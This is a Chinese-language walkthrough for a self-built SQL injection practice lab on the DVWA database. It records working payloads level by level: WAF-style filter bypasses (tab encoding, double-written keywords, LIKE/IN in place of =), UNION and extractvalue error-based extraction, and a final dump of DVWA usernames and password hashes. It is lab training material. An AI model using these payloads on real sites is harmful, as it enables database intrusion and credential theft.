靶场环境的搭建:
- 首先安装dvwa靶场;因为要用到dvwa的数据库
- 然后将该靶场放到phpstudy的www目录下
- 创建一个网站指向该文件夹
- 通过访问文件夹中php文件的形式进行闯关
- 具体压缩包我放到最后的资料里了
index1.php通关笔记
知识点:
- 空格过滤 #过滤
首先判断注入类型
构造payload:id=1/0
有回显,没报错,说明是字符型注入
判断绕过手段
构造payload:id=1'和payload:1''
发现回显有差别;说明是单引号读取输入,是否有括号还不清楚
尝试利用万能密码测试
构造payload:id=1'and+1=1--+
发现出现了提示,说明有过滤,但是不知道是什么过滤
通过单个符号和关键字的输入测试出对空格进行了过滤;采用%09代替空格
构造payload:id=1'and%091=1--%09
成功回显出了有效内容,由于错误没有任何回显信息,所以这里不能用错误注入
尝试进行联合注入,首先判断字段数
构造payload:id=1'order%09by%098--%09
构造payload:id=1'order%09by%099--%09
发现页面回显出现了变化,说明字段数为8
进行联合注入
构造payload:id=0'union%09select%091,2,3,4,5,6,7,8%09--%09
输入内容成功回显到了页面上,4和5的位置
好了,可以利用联合注入获取数据库信息了
构造payload:id=0'union%09select%091,2,3,database(),version(),6,7,8%09--%09
好了,到这里就收工了;想要获取其他信息可以自己尝试,之前做过很多遍了,这里就不往下演示了
index2.php通关笔记
知识点:
- and or 关键字过滤
- || &&进行代替
- like 函数名 == and效果
通过不断的测试发现这里是and or 关键字过滤
前面的步骤就不再演示了,直接出绕过的payload
构造payload:id=0%27union%20select%201,2,3,4,5,6,7,8--+
页面成功回显出了输入的信息
利用联合注入来获取数据库关键信息
构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8--+
成功获取了数据库民和版本信息
index3.php通关笔记
知识点:
- = 过滤
- 利用 > < like in 等代替
- 这里不要用and,用or进行判断;and这里有问题,具体不知道怎么回事,判断条件会失效
通过测试发现是=过滤;尝试用其他符号代替
构造payload:id= 0'or 1 in (1) --+
构造payload:id= 0'or 3>1 --+
构造payload:id= 0'or 1 like 1 --+
成功获取到了回显内容;
测试发现只有=被过滤了,可以使用联合注入
构造payload:id=0%27%20union%20select%201,2,3,4,5,6,7,8%20--+
页面成功回显
获取数据库信息
构造payload:id=0%27%20union%20select%201,2,3,database(),version(),6,7,8%20--+
成功获取到了数据库名和版本信息
index4.php通关笔记
知识点:
- and or 关键字过滤;%26%26 || 代替
- 错误注入
- 联合注入
通过测试发现这里有完整的错误回显,并且对and or关键字进行了过滤;好了使用&& || 进行代替就好了,不过这里不能直接用&&,需要进行url编码 %26%26
利用错误注入获取数据库名
构造payload:id=1%27%26%26%20extractvalue(1,concat(0x7e,database(),0x7e))=1%20--+
成功获取了数据库名
利用联合注入来获取数据库名
构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8%20--+
成功获取了数据库名和版本信息
index5.php通关笔记
知识点:
- and or 过滤
- || &&绕过
- 使用&&时需要进行url编码 --> %26%26
- 双写绕过
- 针对 information -->infoorrmation
- password ---> passwoorrd
- || &&绕过
- = in 过滤
- like 绕过
- select 过滤 只过滤select+空格
- 这里可以利用 select%09绕过
- union 过滤
- 这里可以利用双写绕过
- from 过滤
- 这里可以使用双写绕过
- database 关键字过滤
- 可以利用schema()代替获取数据库名
- user 关键字过滤
- 使用双写绕过
- users --->ususerers
- 可以利用联合注入;也可以利用错误注入
- 联合注入payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+
- 错误注入payload:id=0%27||extractvalue(1,concat(0x7e,schema(),0x7e))%20like%201--+
- 这里使用联合注入演示完整过程;错误注入一样的,联合注入更方便
- 最后需要对拼接到一起的字段名进行hex编码输出;不编码的话会报错
- Illegal mix of collations for operation 'UNION'
- 出现该错误原因在于information_schema数据库中的信息和dvwa数据库使用的编码格式不同;所以使用十六进制进行输出保险
- 这一关含金量太高了,花的时间太多了,不过不断的进行测试然后找到绕过方法的过程很爽
通过不断的测试知道了这关的过滤条件;下面利用联合注入进行演示
构造payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+
成功获取了数据库名和版本信息
获取数据库的表名
构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09%20hex(group_concat(table_name))%09frfromom%09infoorrmation_schema.tables%09where%09table_schema%20like%20%27dvwa%27%20),version(),6,7,8%20--+
得到了hex输出:6775657374626F6F6B2C7573657273
解码后为:guestbook,users
得到了两个表名;发现了重要的用户信息
接下来获取users表中的字段名
构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(column_name)))%09frfromom%09infoorrmation_schema.columns%09where%09table_schema%20like%20%27dvwa%27%09%26%26%09table_name%20like%20%27ususerers%27%20%20),version(),6,7,8%20--+
得到了hex编码的字符串:757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E
进行解码获取到了所有字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
下面可以获取用户名和密码信息
构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(ususerer,%27:%27,passwoorrd)))%09frfromom%09dvwa.ususerers%20),version(),6,7,8%20--+
成功获取了用户名和密码信息的hex编码
显示的hex编码为:61646D696E3A38363333663362393932663565646161346461656133373938323636653437372C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939
解码之后出现了具体数据
admin:8633f3b992f5edaa4daea3798266e477,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99
这样就获取到了用户名和密码信息
终于搞完了,收工
10